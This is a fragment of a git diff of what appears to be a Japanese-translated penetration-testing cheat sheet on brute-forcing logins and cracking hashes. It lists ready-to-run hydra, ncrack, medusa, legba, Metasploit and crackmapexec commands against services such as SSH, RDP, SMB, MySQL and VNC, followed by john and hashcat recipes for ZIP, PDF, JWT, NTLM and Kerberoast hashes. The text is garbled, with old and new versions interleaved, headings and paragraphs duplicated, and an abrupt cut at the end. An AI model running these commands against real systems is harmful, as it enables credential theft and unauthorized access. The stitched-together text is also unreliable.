### MQTT
|
||||
|
||||
### MQTT
|
||||
MQTT(Message Queuing Telemetry Transport)は、軽量なメッセージ通信プロトコルであり、IoTデバイス間の通信に広く使用されています。
|
||||
```
|
||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
||||
```
|
||||
### Mongo
|
||||
|
||||
MongoDBは、データベースに対するBrute Force攻撃に対して脆弱な場合があります。攻撃者は、一連のパスワードを試行し、正しい認証情報を見つけることができます。これを防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
|
||||
### モンゴ
|
||||
```bash
|
||||
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
||||
use auxiliary/scanner/mongodb/mongodb_login
|
||||
|
@ -268,13 +287,13 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
|
|||
```
|
||||
### MSSQL
|
||||
|
||||
### MSSQL
|
||||
Microsoft SQL Server(MSSQL)は、Windows環境で広く使用されているリレーショナルデータベース管理システム(RDBMS)です。
|
||||
```bash
|
||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||
```
|
||||
### MySQL
|
||||
|
||||
MySQLは、多くのWebアプリケーションで使用される人気のあるデータベース管理システムです。Brute force攻撃は、MySQLデータベースに対しても効果的な攻撃手法の1つです。Brute force攻撃では、辞書攻撃やランダムなパスワードの組み合わせを使用して、MySQLデータベースにアクセスしようとします。MySQLのBrute force攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
|
||||
MySQLは、多くのWebアプリケーションで使用される人気のあるデータベース管理システムです。MySQLデータベースへの不正アクセスを試みる際には、Brute Force攻撃が有効な手法の1つとして考えられます。Brute Force攻撃は、辞書攻撃や総当たり攻撃とも呼ばれ、パスワードを総当たりで試行することでアカウントに不正アクセスを試みる手法です。MySQLの場合、一般的なユーザー名は"root"であることが多いため、このユーザー名を対象にBrute Force攻撃を行うことが一般的です。Brute Force攻撃は、パスワードが強力な場合でも時間をかければ突破できる可能性があるため、セキュリティ対策が重要です。
|
||||
```bash
|
||||
# hydra
|
||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||
|
@ -290,9 +309,13 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
|
|||
```
|
||||
### OracleSQL
|
||||
|
||||
### OracleSQL
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against Oracle databases can be performed using tools such as Hydra or Metasploit. These tools can help automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute force attacks can be time-consuming and may not always be successful, especially if strong passwords are in place. Additionally, brute force attacks can generate a high volume of traffic, which may be detected by intrusion detection systems.
|
||||
Brute force attacks are a common method used to gain unauthorized access to OracleSQL databases. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if the credentials are weak or easily guessable.
|
||||
|
||||
#### Prevention
|
||||
|
||||
To prevent brute force attacks on OracleSQL databases, it is essential to use strong, complex passwords that are not easily guessable. Additionally, implementing account lockout policies after a certain number of failed login attempts can help mitigate the risk of unauthorized access. Regularly monitoring and reviewing access logs can also help detect and prevent brute force attacks.
|
||||
```bash
|
||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
||||
|
@ -326,7 +349,9 @@ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid
|
|||
```
|
||||
### POP
|
||||
|
||||
POP(Post Office Protocol)は、電子メールを受信するために使用されるプロトコルです。POP攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、パスワードを推測し、メールアカウントにアクセスすることを試みます。
|
||||
### POP
|
||||
|
||||
POP(Post Office Protocol)は、電子メールを受信するために使用されるプロトコルです。POP攻撃は、辞書攻撃や総当たり攻撃を使用して、ユーザーの電子メールアカウントにアクセスしようとする手法です。
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||
|
@ -339,7 +364,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
|
|||
```
|
||||
### PostgreSQL
|
||||
|
||||
PostgreSQLは、データベースへのアクセスを試みる際にBrute Force攻撃を使用することができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、すべての可能な組み合わせを試すことで正しい認証情報を見つけることを目的としています。これにより、不正アクセスを試みる攻撃者がデータベースにアクセスする可能性があります。Brute Force攻撃からデータベースを保護するためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
|
||||
PostgreSQLは、データベースへのアクセスを試みる際にBrute Force攻撃を使用することができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、すべての可能な組み合わせを試行して正しい認証情報を見つける攻撃手法です。Brute Force攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||
|
@ -357,6 +382,8 @@ sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
|||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||
```
|
||||
### RDP
|
||||
|
||||
リモート デスクトップ
|
||||
```bash
|
||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||
|
@ -364,7 +391,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt
|
|||
```
|
||||
### Redis
|
||||
|
||||
Redis(Remote Dictionary Server)は、高速なキー/値データベースであり、多くのWebアプリケーションで使用されています。Redisサーバーに対するBrute Force攻撃は、一般的な攻撃手法の1つです。Brute Force攻撃は、辞書ワードリストやランダムな文字列を使用して、パスワードや認証情報を猜出するために大量の試行を行う攻撃手法です。Redisサーバーに対するBrute Force攻撃を防ぐためには、強力なパスワードポリシーを実装し、アクセス制御リスト(ACL)を適切に構成することが重要です。
|
||||
### Redis
|
||||
```bash
|
||||
msf> use auxiliary/scanner/redis/redis_login
|
||||
nmap --script redis-brute -p 6379 <IP>
|
||||
|
@ -373,28 +400,26 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
|
|||
```
|
||||
### Rexec
|
||||
|
||||
Rexecは、リモートシステムに対してBrute Force攻撃を行うためのツールです。このツールは、ユーザー名とパスワードの組み合わせを総当たりで試行し、正しい認証情報を見つけることを目的としています。Rexecを使用する際には、アカウントロックアウトやログの監視などのセキュリティ対策が重要です。
|
||||
### Rexec
|
||||
|
||||
Rexecは、リモートシステムに対してBrute Force攻撃を実行するためのツールです。このツールは、ユーザー名とパスワードのリストを使用して、リモートシステムに対して総当たり攻撃を行います。Rexecは、ネットワークの脆弱性を悪用して不正アクセスを試みる際に使用されることがあります。
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
```
|
||||
### Rlogin
|
||||
|
||||
Rloginは、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。Brute force攻撃を行う際には、ユーザー名のリストとパスワードのリストを使用して、自動化ツールを使ってRloginサービスに対して総当たり攻撃を行います。
|
||||
Rloginは、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。Brute force攻撃を行う際には、ユーザー名とパスワードのリストを使用して、Rloginサービスに対して繰り返しログイン試行を行います。
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
### Rsh
|
||||
|
||||
Rsh(リモートシェル)は、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。Brute-force攻撃によって、システムにアクセスするための正しい認証情報を見つけることができます。
|
||||
Rsh(リモートシェル)は、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。Brute-force攻撃に使用されることがあります。
|
||||
```bash
|
||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||
```
|
||||
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||||
|
||||
### Rsync
|
||||
|
||||
### Rsync
|
||||
|
||||
### Rsync
|
||||
```bash
|
||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||
|
@ -407,7 +432,7 @@ hydra -l root -P passwords.txt <IP> rtsp
|
|||
```
|
||||
### SFTP
|
||||
|
||||
SFTP(SSH File Transfer Protocol)は、SSHプロトコルを使用してファイルを安全に転送するためのプロトコルです。 SFTPは、ファイル転送中にデータを暗号化し、セキュリティを強化します。
|
||||
SFTP (Secure File Transfer Protocol) is a secure way to transfer files between machines over a secure channel.
|
||||
```bash
|
||||
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
||||
# Try keys from a folder
|
||||
|
@ -415,7 +440,7 @@ legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --tar
|
|||
```
|
||||
### SNMP
|
||||
|
||||
SNMP(Simple Network Management Protocol)は、ネットワークデバイスの監視や管理に使用されるプロトコルです。 SNMPのバージョン1および2は、コミュニティ文字列を使用してデバイスにアクセスします。これは、Brute Force攻撃に対して脆弱なセキュリティ構成を持っているため、適切なセキュリティ対策が必要です。
|
||||
SNMP(Simple Network Management Protocol)は、ネットワークデバイスやサーバーなどの機器を管理・監視するためのプロトコルです。
|
||||
```bash
|
||||
msf> use auxiliary/scanner/snmp/snmp_login
|
||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||
|
@ -424,7 +449,7 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
|
|||
```
|
||||
### SMB
|
||||
|
||||
SMB(Server Message Block)は、Windowsベースのシステムで広く使用されているネットワークプロトコルです。SMBをブルートフォース攻撃することで、パスワードを推測してシステムにアクセスすることが可能です。Brute-force攻撃は、自動化ツールを使用して、短時間で大量のパスワードを試行する方法です。
|
||||
SMB(Server Message Block)は、Windowsベースのシステムで使用されるネットワークプロトコルです。SMBをブルートフォース攻撃することで、パスワードを推測してシステムにアクセスすることが可能です。
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||
|
@ -432,7 +457,7 @@ legba smb --target share.company.com --username admin --password data/passwords.
|
|||
```
|
||||
### SMTP
|
||||
|
||||
Simple Mail Transfer Protocol (SMTP)は、電子メールを送信するために使用される標準プロトコルです。通常、25番ポートを使用しており、メールサーバーとクライアント間でメールを送受信する際に使用されます。SMTPサーバーへのBrute Force攻撃は、自動化されたツールを使用して、パスワードを推測し、不正アクセスを試みる手法です。
|
||||
SMTP(Simple Mail Transfer Protocol)は、電子メールを送信するための標準プロトコルです。SMTPサーバーに対してブルートフォース攻撃を行うことで、不正アクセスを試みることができます。
|
||||
```bash
|
||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||
|
@ -440,7 +465,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
|
|||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKSは、ネットワークプロトコルであり、通常、TCP接続を介してトラフィックを中継するために使用されます。SOCKSプロトコルは、プロキシサーバーを介して通信を中継するために使用され、通常、ネットワーク内の別の場所にあるサーバーに接続するために使用されます。SOCKSプロトコルは、ユーザーがファイアウォールをバイパスし、インターネット上のリソースにアクセスするのに役立ちます。
|
||||
### SOCKS
|
||||
```bash
|
||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
||||
|
@ -449,7 +474,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
|
|||
```
|
||||
### SQL Server
|
||||
|
||||
SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。SQL ServerへのBrute Force攻撃は、一般的にユーザー名とパスワードの組み合わせを総当たりで試行することによって行われます。攻撃者は、自動化ツールを使用して大量の認証試行を行い、正しい認証情報を見つけようとします。これにより、不正アクセスが可能になります。SQL ServerへのBrute Force攻撃からデータを保護するためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
|
||||
SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。 SQL ServerへのBrute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを繰り返し試行することで、不正アクセスを試みる手法です。Brute Force攻撃は、適切なセキュリティ対策がされていない場合に有効な攻撃手法となり得ます。
|
||||
```bash
|
||||
#Use the NetBIOS name of the machine as domain
|
||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
@ -460,7 +485,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
|
|||
```
|
||||
### SSH
|
||||
|
||||
### SSH
|
||||
SSH(Secure Shell)は、ネットワークプロトコルであり、暗号化された通信セッションを確立するために使用されます。SSHブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用してSSHサーバーにアクセスを試みる攻撃手法です。SSHブルートフォース攻撃は、弱いパスワードを持つユーザーアカウントを標的とし、自動化されたツールを使用して大量のパスワードを試行します。SSHブルートフォース攻撃から自分のサーバーを保護するためには、強力なパスワードポリシーを実装し、公開鍵認証を使用するなどのセキュリティ対策を講じることが重要です。
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -472,17 +497,17 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
|||
```
|
||||
#### 弱いSSHキー / Debian予測可能なPRNG
|
||||
|
||||
一部のシステムには、暗号資料を生成する際に使用されるランダムシードに既知の欠陥があります。これにより、鍵空間が著しく減少し、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃が可能になります。[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)のような事前生成された弱いキーのセットも利用可能です。
|
||||
一部のシステムには、暗号資料を生成する際に使用されるランダムシードに既知の欠陥があります。これにより、鍵空間が著しく減少し、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃が可能になります。[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)などの事前生成された弱いキーのセットも利用可能です。
|
||||
|
||||
### STOMP (ActiveMQ、RabbitMQ、HornetQ、およびOpenMQ)
|
||||
|
||||
STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、およびOpenMQなどの人気のあるメッセージキューイングサービスとのシームレスな通信とやり取りを可能にする広く使用されているメッセージングプロトコルです。これは、メッセージの交換やさまざまなメッセージング操作を効率的かつ標準化された方法で実行するための手段を提供します。
|
||||
STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、およびOpenMQなどの人気のあるメッセージキューイングサービスとのシームレスな通信とやり取りを可能にする広く使用されているメッセージングプロトコルです。これは、メッセージの交換やさまざまなメッセージング操作を効率的かつ標準化された方法で行うための手段を提供します。
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
### Telnet
|
||||
|
||||
Telnetは、ネットワーク上の別のコンピューターに接続するためのプロトコルです。通常、ユーザー名とパスワードを要求するため、Brute Force攻撃の対象となります。
|
||||
Telnetは、ネットワーク上の別のコンピューターに接続するためのプロトコルです。一般的なBrute Force攻撃は、Telnetサーバーに対してユーザー名とパスワードの組み合わせを継続的に試行することで行われます。
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -499,7 +524,9 @@ legba telnet \
|
|||
```
|
||||
### VNC
|
||||
|
||||
### VNC
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Tools like Hydra and Medusa can be used to automate the process of trying different username and password combinations until the correct one is found. It is important to use strong, complex passwords and implement other security measures to protect VNC servers from brute force attacks.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||
|
@ -516,14 +543,14 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
|||
```
|
||||
### Winrm
|
||||
|
||||
WinrmはWindows Remote Managementの略で、Windowsシステムをリモートで管理するためのプロトコルです。Winrmは、Windowsシステムへのアクセスを可能にするために使用され、様々なツールやスクリプトからリモートでコマンドを実行することができます。
|
||||
Winrmは、Windows Remote Managementの略であり、Windowsシステムをリモートで管理するための機能です。Winrmは、ユーザー名とパスワードの組み合わせを使用して認証を行います。Brute force攻撃は、自動化されたツールを使用して、さまざまなユーザー名とパスワードの組み合わせを試行し、正しい認証情報を見つけることを試みる攻撃手法です。
|
||||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -544,7 +571,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
|||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
ハッシュをブルートフォースする前にこれをチェックしてください。
|
||||
ハッシュをブルートフォース攻撃する前に、これをチェックしてください。
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
|
@ -564,7 +591,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
|||
```
|
||||
#### 既知の平文zip攻撃
|
||||
|
||||
暗号化されたzipファイルの中に含まれるファイルの**平文(または平文の一部)を知る必要があります。** 暗号化されたzipファイルに含まれるファイルの**ファイル名とサイズを確認するには、**`7z l encrypted.zip`**を実行します。\
|
||||
暗号化されたzipファイルの中に含まれるファイルの**平文**(または平文の一部)を知る必要があります。 暗号化されたzipファイルに含まれるファイルの**ファイル名とサイズを確認**するには、次のコマンドを実行します:**`7z l encrypted.zip`**\
|
||||
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
|
@ -579,7 +606,7 @@ unzip unlocked.zip #User new_pwd as password
|
|||
```
|
||||
### 7z
|
||||
|
||||
7zは、強力な圧縮および解凍ツールです。Brute-force攻撃を使用して、パスワード保護された7zファイルのパスワードを解読することができます。Brute-force攻撃は、すべての可能な組み合わせを試行し、正しいパスワードを見つける方法です。
|
||||
7zは、ファイルアーカイブと圧縮ユーティリティで、ブルートフォース攻撃の対象となることがあります。ブルートフォース攻撃は、すべての可能なパスワードの組み合わせを試行し、正しいパスワードを見つける手法です。
|
||||
```bash
|
||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||
```
|
||||
|
@ -592,7 +619,28 @@ apt-get install libcompress-raw-lzma-perl
|
|||
```
|
||||
### PDF
|
||||
|
||||
PDFファイルは、一般的にパスワードで保護されており、Brute Force攻撃を使用してアクセスできます。Brute Force攻撃は、すべての可能なパスワードの組み合わせを試行し、正しいパスワードを見つける方法です。これにより、PDFファイルの保護を解除し、内容にアクセスできる可能性があります。
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the password is unknown and there are no other ways to obtain it. Brute force attacks can be time-consuming but are often effective.
|
||||
|
||||
##### Tools
|
||||
|
||||
- **Hydra**: A popular password-cracking tool that can perform rapid dictionary attacks or brute force attacks.
|
||||
- **John the Ripper**: Another widely used password-cracking tool that can be used for dictionary attacks and brute force attacks.
|
||||
- **Hashcat**: A powerful password-cracking tool that supports multiple hashing algorithms and can be used for brute force attacks.
|
||||
|
||||
##### Techniques
|
||||
|
||||
- **Dictionary Attack**: Involves using a predefined list of words to try as passwords.
|
||||
- **Hybrid Attack**: Combines dictionary words with numbers and symbols to increase the chances of success.
|
||||
- **Mask Attack**: Allows the customization of the brute force attack by specifying the password's format.
|
||||
|
||||
##### Prevention
|
||||
|
||||
- Use complex and unique passwords.
|
||||
- Implement account lockout policies.
|
||||
- Use multi-factor authentication.
|
||||
- Monitor and analyze login attempts for unusual patterns.
|
||||
```bash
|
||||
apt-get install pdfcrack
|
||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||
|
@ -617,7 +665,9 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
|
|||
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
||||
john jwt.john #It does not work with Kali-John
|
||||
```
|
||||
### NTLMクラッキング
|
||||
### NTLM cracking
|
||||
|
||||
NTLMクラッキング
|
||||
```bash
|
||||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||
|
@ -633,7 +683,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
|||
```
|
||||
### Keberoasting
|
||||
|
||||
### ケベロス攻撃
|
||||
Keberoastingは、Active Directoryのサービスアカウントの非対話型攻撃手法です。攻撃者は、Kerberosプロトコルを使用して認証されたサービスアカウントのユーザー名を取得し、そのユーザー名に対して攻撃を行います。攻撃者は、サービスアカウントのKerberosサービスチケットを取得し、そのチケットをオフラインで解読することで、サービスアカウントのパスワードを取得します。
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
|
@ -667,7 +717,7 @@ mount /dev/mapper/mylucksopen /mnt
|
|||
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
||||
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
|
||||
```
|
||||
### PGP/GPGの秘密鍵
|
||||
### PGP/GPGプライベートキー
|
||||
```bash
|
||||
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||
|
@ -685,7 +735,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
|||
パスワードで保護された列を持つxlsxファイルがある場合、それを解除できます:
|
||||
|
||||
* **Googleドライブにアップロード**して、パスワードが自動的に削除されます
|
||||
* **手動で**それを**削除**するには:
|
||||
* **手動で**それを**削除するには**:
|
||||
```bash
|
||||
unzip file.xlsx
|
||||
grep -R "sheetProtection" ./*
|
||||
|
@ -701,10 +751,10 @@ zip -r file.xls .
|
|||
# From https://github.com/crackpkcs12/crackpkcs12
|
||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -744,14 +794,14 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
|||
|
||||
* **ワードリスト攻撃** (`-a 0`) with rules
|
||||
|
||||
**Hashcat** にはすでに**ルールを含むフォルダ**が付属していますが、[**こちらで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。
|
||||
**Hashcat**はすでに**ルールを含むフォルダ**が付属していますが、[**こちらで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。
|
||||
```
|
||||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||
```
|
||||
* **ワードリスト組み合わせ**攻撃
|
||||
|
||||
hashcatを使用して、2つのワードリストを1つに**組み合わせる**ことが可能です。\
|
||||
リスト1に単語**"hello"**が含まれ、2番目には単語**"world"**と**"earth"**が含まれている場合、`helloworld`と`helloearth`という単語が生成されます。
|
||||
リスト1に単語**"hello"**が含まれ、2番目には単語**"world"**と**"earth"**がそれぞれ2行含まれている場合、`helloworld`と`helloearth`が生成されます。
|
||||
```bash
|
||||
# This will combine 2 wordlists
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||
|
@ -808,29 +858,15 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
|||
```
|
||||
## Brute Forcing
|
||||
|
||||
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute forcing can be a powerful method if the passwords are not strong enough.
|
||||
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute forcing is often used to crack weak passwords.
|
||||
|
||||
### Tools
|
||||
### Tools for Brute Forcing
|
||||
|
||||
There are various tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of trying different password combinations against the hashed passwords in the `/etc/shadow` file.
|
||||
There are several tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of trying different password combinations against the hashed passwords in the `/etc/shadow` file.
|
||||
|
||||
### Methodology
|
||||
### Wordlists
|
||||
|
||||
1. **Obtain the Hashes**: First, you need to obtain the hashed passwords from the `/etc/shadow` file on the target Linux system.
|
||||
|
||||
2. **Choose a Tool**: Select a suitable password cracking tool based on your requirements and the type of hashes you are dealing with.
|
||||
|
||||
3. **Configure the Tool**: Set up the chosen tool to start the brute force attack. This may involve specifying the hash type, character set, password length, and other parameters.
|
||||
|
||||
4. **Start Brute Forcing**: Initiate the brute force attack using the tool, which will systematically try different password combinations until the correct one is found.
|
||||
|
||||
5. **Crack the Password**: Once the tool successfully cracks a password, you will have the plaintext password that corresponds to the hashed password in the `/etc/shadow` file.
|
||||
|
||||
### Considerations
|
||||
|
||||
- **Time**: Brute forcing can be a time-consuming process, especially for complex passwords.
|
||||
- **Resources**: The success of brute forcing depends on the computational resources available and the complexity of the passwords.
|
||||
- **Legality**: Ensure that you have the necessary permissions before attempting to crack passwords using brute force techniques.
|
||||
In addition to brute forcing, wordlists can also be used to crack passwords. Wordlists contain a list of commonly used passwords, dictionary words, and other character combinations that are often used as passwords. These wordlists can be fed into brute forcing tools to increase the chances of cracking a password.
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
|
@ -841,50 +877,43 @@ There are various tools available for brute forcing passwords, such as John the
|
|||
|
||||
### Introduction
|
||||
|
||||
When it comes to cracking Windows hashes, one of the most common methods is brute forcing. This technique involves trying all possible combinations of characters until the correct password is found. In this section, we will discuss how to perform brute force attacks on Windows hashes.
|
||||
When it comes to cracking Windows hashes, one of the most common methods is brute forcing. This technique involves trying all possible combinations of characters until the correct password is found. In this section, we will discuss the steps involved in brute forcing Windows hashes.
|
||||
|
||||
### Tools for Brute Forcing Windows Hashes
|
||||
### Tools
|
||||
|
||||
